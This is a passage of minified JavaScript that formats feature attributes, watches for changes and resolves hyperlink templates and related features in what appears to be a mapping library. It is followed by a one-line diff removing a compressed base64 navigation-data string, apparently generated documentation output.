Array.from(this.entries())}on(e,t){if(d("callback",t).isNotMissing(),!this._numObservers){const e=new Map,t=new Set,s=()=>{t.forEach((e=>e.remove())),t.clear()},i=()=>{const t={added:Array.from(this.entries()).filter((t=>t[1]!==e.get(t[0]))),removed:Array.from(e.entries()).filter((e=>!this.has(e[0])||e[1]!==this.get(e[0]))),target:this};(t.added.length||t.removed.length)&&(this.emit("change",t),r())},r=()=>{e.clear(),s(),z(this.keys(),(s=>{const r=this._getFieldExtension(s);let a="{0}";if(r){const e=r.watch("format",(()=>{i()}));t.add(e),r.format&&(a=r.format)}e.set(s,this._formatAttribute(s,a))}))};r();const a=this._feature.attributes.on("change",(()=>{i()})),n=this._feature.schema.fieldExtensions.on("change",(()=>{i()})),o=this._feature.settings.formatSettings.watch(["numberFormat","dateFormat","locale"],(()=>{i()})),h=this._feature.expressionFieldValues.on("change",(()=>{i()})),l=this._feature.schema.fields.on("change",(e=>{(e.added?.some((e=>null!==e.name.match(w)))||e.removed?.some((e=>null!==e.name.match(w))))&&i()})),p=this._feature.settings.watch("popupTemplate",(()=>{i()}));this._onAllObserversRemoved=()=>{h.remove(),a.remove(),n.remove(),l.remove(),o.remove(),p.remove(),e.clear(),s()}}const s=super.on("change",t);return this._numObservers++,{remove:()=>{s.remove(),this._numObservers--,this._numObservers||this._onAllObserversRemoved()}}}watch(e,t){if("size"===e){const e=this._feature.attributes.watch("size",((e,s)=>{t(e+this._feature.schema.fields._expressionFieldsLength,s+this._feature.schema.fields._expressionFieldsLength,"size",this)})),s=this._feature.schema.fields.watch("_expressionFieldsLength",((e,s)=>{t(e+this._feature.attributes.size,s+this._feature.attributes.size,"size",this)}));return{remove:()=>{e.remove(),s.remove()}}}return super.watch(e,t)}_getFieldExtension(e){const t=this._feature.schema.findFieldByName(e);if(t)return this._feature.schema.fieldExtensions.forField(t)}_getFieldExtensionFormat(e){const t=this._getFieldExtension(e);return t?t.format:"{0}"}_formatAttribute(e,t){const s=e.match(w),i=e.match(F);if(s)return q(this._feature,"expression",s[1],{format:t});if(i){const[,e,s]=i;return q(this._feature,e,s,{format:t})}return q(this._feature,void 0,e,{format:t})}}const $=/\{(?:relationships[\\/]([\w-]*)[\\/])?(?:(expression)[\\/])?([_a-zA-ZÀ-ÖØ-öø-ÿ][._a-zA-ZÀ-ÖØ-öø-ÿ0-9]*)(?::([^}]*))?\}/gi,H=/\{relationships\/([\w-]*)[\\/]([^}]*)\}/gi,K=/{{/g,J="\0MAGIC\0",Z=new RegExp(J,"g"),Q="#INVALID";class B extends p{_feature;_hyperlinks;constructor(e){super(e.settings.hyperlinkTemplates,(e=>this._getHyperlink(e))),this._feature=e}_getHyperlink(e){return this._hyperlinks=this._hyperlinks||new WeakMap,this._hyperlinks.has(e)||this._hyperlinks.set(e,new W(this._feature,e)),this._hyperlinks.get(e)}}let W=class extends a{get url(){return this._template.url?this._feature.format(this._template.url):this._template.url}set url(e){throw new n(U)}get text(){return this._template.text?this._feature.format(this._template.text):this._template.text}set text(e){throw new n(U)}get iconUrl(){return this._template.iconUrl?this._feature.format(this._template.iconUrl):this._template.iconUrl}set iconUrl(e){throw new n(U)}get target(){return this._template.target?this._feature.format(this._template.target):this._template.target}set target(e){throw new n(U)}get tooltip(){return this._template.tooltip?this._feature.format(this._template.tooltip):this._template.tooltip}set tooltip(e){throw new n(U)}_feature;_template;constructor(e,t){super(t.toJSON()),this._feature=e,this._template=t}_watchProperty(e,t,s,i){const r=super._watchProperty(e,t,s,i),a=this._template.watch(e,(()=>{this.notifyChange(e)})),n=this._feature.presentableAttributes.on("change",(()=>{this.notifyChange(e)})),o=this._feature.relatedFeatures.on("change",(()=>{this.notifyChange(e)}));return{remove:()=>{r.remove(),a.remove(),n.remove(),o.remove()}}}_getSerializableProperties(){return{}}};function q(e,t,s,i={format:"{0}"}){if(!R(t,"expression")){if(t){const r=E(e.relatedFeatures.keys(),(e=>R(e.id,t)));if(!r)return V.debug("Could not resolve related field '{0}/{1}",t,s),Q;const a=Array.from(e.relatedFeatures.get(r));return"many-to-one"===r.cardinality||"one-to-one"===r.cardinality?a.length<1?(V.debug("Could not resolve related field '{0}/{1}",t,s),Q):X(a[0],s,i):a.map((e=>X(e,s,i))).filter((e=>""!==e)).join(",")}return X(e,s,i)}if(!e.settings.popupTemplate?.expressionInfos?.find((e=>R(e.name,s))))return V.debug("Could not find expression '{0}'.",s),Q;try{const t=e.expressionFieldValues.get(s)??i.defaultExpressionValue??"",r=e.schema.findFieldByName(`expression/${s}`);let a=i;if(r){const t=e.schema.fieldExtensions.forField(r);t&&(a=te(e,s,ee(t.formatSettings),a))}return Y(e,t,a)}catch(e){if(e instanceof Error)return V.error({message:"Error evaluating expression '{0}': {1}.",error:e},s,e.message),Q;throw e}}function X(e,t,s){let i=e.attributes.get(t);if(null==i)return"";const r=e.schema.findFieldByName(t),a=e.type?.domains?.[r?.name??t],n=e=>e.codedValues?.find((e=>e.code.toString()===i.toString()))?.name??i;let o={format:"{0}"};if(R(t,e.schema.typeIdField)){const t=a&&"inherited"!==a.type?a:r?.domain;i="coded-value"===t?.type?n(t):e.type?.name??i}else if(a&&b(a))i=n(a);else if(r?.domain&&b(r.domain))i=n(r.domain);else if(r){switch(r.type){case"integer":case"small-integer":case"single":case"double":i=j(i);break;case"date":i=y({timeZone:e.schema.timeZone},i);break;default:i=`${i.toString()}`}const t=e.schema.fieldExtensions.forField(r);t&&(o=ee(t.formatSettings))}return Y(e,i,te(e,t,o,s))}function Y(e,t,s){let i=s;if("number"==typeof t||t instanceof Date){i={...ee(e.settings.formatSettings),...s}}return"{0}"===i.format&&"string"==typeof t?t:C(i,t)}function ee(e){return{format:"{0}",dateFormat:e.dateFormat,numberFormat:e.numberFormat,currency:e.currency,fractionalDigits:e.fractionalDigits,locale:e.locale,timeZone:e.timeZone}}function te(e,t,s,i){const{popupTemplate:r}=e.settings,a=r?.fieldInfos?r.fieldInfos.find((e=>R(e.fieldName,t))):void 0,n=a?a.format:void 0;let o;return n&&(o={format:"{0}",numberFormat:n.digitSeparator?k.NUMBER:k.FIXED_POINT,dateFormat:_(n.dateFormat),fractionalDigits:n.places}),{...o,...s,...i}}W=e([h],W);export async function resolveRelatedFeatures(e){const t=f(e,(e=>e.source));await Promise.all(m([...t.keys()].map((e=>e.relationships.toArray()))).map((e=>(async e=>{[...(await e.getAllRelatedFeatures(t.get(e.source))).entries()].forEach((([t,s])=>{t.relatedFeatures.set(e,s)}))})(e))))}
@@ -1 +1 @@
1
- window.navigationData = "data:application/octet-stream;base64,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